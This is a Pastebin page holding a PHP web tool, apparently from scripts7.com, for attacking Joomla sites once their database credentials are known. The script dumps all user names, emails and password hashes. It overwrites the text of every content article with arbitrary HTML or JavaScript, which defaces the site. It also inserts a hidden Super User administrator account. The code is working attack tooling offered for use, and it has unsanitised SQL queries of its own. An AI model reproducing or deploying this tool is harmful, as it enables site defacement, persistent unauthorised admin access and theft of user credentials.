Advertisement
scripts7com

Joomla - Index Changer 2016 Add Admin&Password- scripts7.com

Jan 19th, 2016
269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.90 KB | None | 0 0
  1.  <! www.scripts7.com !>
  2. <!DOCTYPE html>
  3. <html lang="en">
  4. <head>
  5. <meta content="en-us" http-equiv="Content-Language" />
  6. <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  7. <style type="text/css">
  8. .auto-style1 {
  9.     color: #EC6900;
  10. }
  11. .auto-style2 {
  12.     background-color: #000000;
  13. }
  14. .auto-style3 {
  15.     font-size: 22pt;
  16. }
  17. .auto-style4 {
  18.     text-align: center;
  19. }
  20. .auto-style5 {
  21.     color: #009413;
  22. }
  23. .auto-style6 {
  24.     border-left: 1px solid #C0C0C0;
  25.     border-right-style: solid;
  26.     border-right-width: 1px;
  27.     border-top: 1px solid #C0C0C0;
  28.     border-bottom-style: solid;
  29.     border-bottom-width: 1px;
  30. }
  31. .auto-style7 {
  32.     border-left-style: solid;
  33.     border-left-width: 1px;
  34.     border-right: 1px solid #C0C0C0;
  35.     border-top-style: solid;
  36.     border-top-width: 1px;
  37.     border-bottom: 1px solid #C0C0C0;
  38. }
  39. .showcenter {
  40.     text-align: center;
  41. }
  42.  
  43. </style>
  44.  
  45. </head>
  46. <body style="color: #FFFFFF; background-color: #000000; background-color: black;background-position: 50% 50%;background-repeat: no-repeat;background-attachment: fixed;">
  47. <div class="auto-style4">
  48. <p style="text-shadow:0px 0px 7px #3e3e3e" class="auto-style3">
  49. <strong><span class="auto-style5"> Scripts7 tools </span> </strong></p>
  50. <strong><span class="auto-style5">Index Changer Joomla 2016 & Add Admin Password </span> </strong></p>
  51.  Show users and Passwords || Change index HTML or Javascript || Add username, Password, Email <br># Password must be : MD5 Joomla
  52. <br> password is : 12345 : MD5 = e7d4aa4793a91a61bb1f1768095b765c:IEJh02NvSn0C2QmUmg0AuAEZSkgtk6Gv
  53.     <hr></div>
  54.    
  55. <form method="post" action="">
  56. <table style="width: 60%" class="auto-style2" align="center"><tr><td>
  57. <fieldset name="Group1" style="width: 1166px">
  58. <legend>Index Changer Joomla 2016</legend>
  59. <strong>Host</strong> = Ex: public $host = '<span class="auto-style1">localhost</span>';<br>
  60. <input name="host" type="text" value="localhost" style="width: 256px"> <br>
  61. <strong>Database User</strong> = public $user = '<span class="auto-style1">user_bwed</span>';<br>
  62. <input name="user" type="text" value="root" style="width: 256px"><br>
  63. <strong>Database Name</strong> = Ex: public $db = '<span class="auto-style1">xce_dbwef</span>';<br>
  64. <input name="db" type="text" value="database" style="width: 256px"><br>
  65. <strong>Password</strong> = Ex: public $password = '<span class="auto-style1">12345@password</span>';<br>
  66. <input name="password" type="text" value="password" style="width: 256px"><br>
  67. <strong>table prefix</strong> = Ex: public $dbprefix = '<span class="auto-style1">prefix jos_</span>';<br>
  68. <input name="dbprefix" type="text" value="jos_" style="width: 256px"><br><br>
  69. <textarea name="index" style="width: 1033px; height: 81px"></textarea>
  70. <br>
  71. <div class="showcenter">
  72.  
  73. <input name="update" type="submit" value="show users">&nbsp;
  74. <input name="change" type="submit" value="change index"><br>
  75.     Username:
  76.     <input name="adminusername" type="text" style="width: 256px"> Password:&nbsp;
  77.     <input name="adminpassword" type="text" style="width: 256px">
  78.     Email:
  79.     <input name="adminemail" type="text" style="width: 256px"><br>
  80.     <input name="scripts7com" type="submit" value="add admin user"><br>
  81.  
  82.     <br></div>
  83.  
  84. <br></fieldset></td></tr></table></form>
  85. <table cellpadding="2" cellspacing="1" class="auto-style7" style="background-color:#292929; width: 93%;" align="center">
  86.     <tr>
  87.         <th class="auto-style6" style="width: 40px" >id</th>
  88.         <th class="auto-style6" style="width: 390px">name</th>
  89.         <th class="auto-style6" style="width: 390px">username</th>
  90.         <th class="auto-style6" style="width: 390px">email</th>
  91.         <th class="auto-style6" style="width: 390px">password</th>
  92.     </tr>
  93.     </table>
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106. <?php
  107.  
  108. $host=$_POST['host'];
  109. $user=$_POST['user'];
  110. $db=$_POST['db'];
  111. $password=$_POST['password'];
  112. $dbprefix=$_POST['dbprefix'];
  113. $index=$_POST['index'];
  114. $scripts7_username=$_POST['adminusername'];
  115. $scripts7_password=$_POST['adminpassword'];
  116. $scripts7_email=$_POST['adminemail'];
  117.  
  118.  
  119. if ($scripts7com){
  120.   mysql_connect($host,$user,$password) OR die (mysql_error());
  121.   mysql_select_db ($db) or die(mysql_error());
  122.    
  123.     $scripts7_users=$dbprefix.users;
  124.     $scripts7_result_1=mysql_query(" INSERT INTO $scripts7_users
  125.   (`name`, `username`, `password`, `email`, `params`)
  126. VALUES ('scripts7.com','$scripts7_username','$scripts7_password','$scripts7_email','') ") or die(mysql_error());
  127.      $scripts7_user_usergroup_map_ID=$dbprefix.user_usergroup_map;
  128.     $scripts7_result_1=mysql_query("INSERT INTO $scripts7_user_usergroup_map_ID (`user_id`,`group_id`)
  129. VALUES (LAST_INSERT_ID(),'8') ") or die(mysql_error());
  130.  
  131. }
  132.  if($scripts7_result_1)
  133.    {    
  134.    
  135. {
  136.     echo '
  137. <style type="text/css">
  138. .style1 {
  139.    text-align: center;
  140.    color: #FF0000;
  141.    font-size: 33pt;
  142. }</style><p class="style1"><strong>DONE</strong></p>
  143.  
  144.  
  145.     ';
  146.  
  147. }
  148.  
  149.     }
  150.  
  151.  
  152. if ($change){
  153.   mysql_connect($host,$user,$password) OR die (mysql_error());
  154.   mysql_select_db ($db) or die(mysql_error());
  155.  
  156. $set=$dbprefix.content;
  157. $result=mysql_query(" update $set set introtext='$index' ") or die(mysql_error());
  158. }
  159.  if($result)
  160.    {    
  161.    
  162. {
  163.     echo '
  164. <style type="text/css">
  165. .style1 {
  166.    text-align: center;
  167.    color: #FF0000;
  168.    font-size: 33pt;
  169. }</style><p class="style1"><strong>Index has been changed now</strong></p>
  170.  
  171.  
  172.     ';
  173.  
  174. }
  175.  
  176.     }
  177.  
  178. if ($update){
  179.   mysql_connect($host,$user,$password) OR die (mysql_error());
  180.   mysql_select_db ($db) or die(mysql_error());
  181.    
  182.   $set = $dbprefix.users;
  183.  
  184.   $query = "SELECT * FROM $set";
  185.  
  186.   $inforesult = mysql_query($query) or die (mysql_error());
  187.  
  188.  
  189.  if($inforesult)
  190.    {    
  191.       while($row=mysql_fetch_row($inforesult))
  192. {
  193.  
  194. echo <<<HTML
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201. <head>
  202. <style type="text/css">
  203. .auto-style1 {
  204.     color: #61A269;
  205.     border-left: 1px solid #C0C0C0;
  206.     border-right-style: solid;
  207.     border-right-width: 1px;
  208.     border-top: 1px solid #C0C0C0;
  209.     border-bottom-style: solid;
  210.     border-bottom-width: 1px;
  211. }
  212. .auto-style2 {
  213.     border-left-style: solid;
  214.     border-left-width: 1px;
  215.     border-right: 1px solid #C0C0C0;
  216.     border-top-style: solid;
  217.     border-top-width: 1px;
  218.     border-bottom: 1px solid #C0C0C0;
  219. }
  220. </style>
  221. </head>
  222.  
  223. <body style="color: #FFFFFF; background-color: #000000">
  224.  
  225. <table cellpadding="2" cellspacing="1" class="auto-style2" style="background-color:#292929" width="93%" align="center">
  226.     <tr class="0">
  227.         <td class="auto-style1" style="width: 40px" >$row[0]</td>
  228.         <td class="auto-style1" style="width: 390px" >$row[1]</td>
  229.         <td class="auto-style1" style="width: 390px" >$row[2]</td>
  230.         <td class="auto-style1" style="width: 390px" >$row[3]</td>
  231.         <td class="auto-style1" style="width: 390px">$row[4]</td>
  232.     </tr></table>
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241. HTML;
  242.  
  243. }
  244.  
  245.     }
  246.     else
  247. echo "There was no matching record for the name " . $update;
  248. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement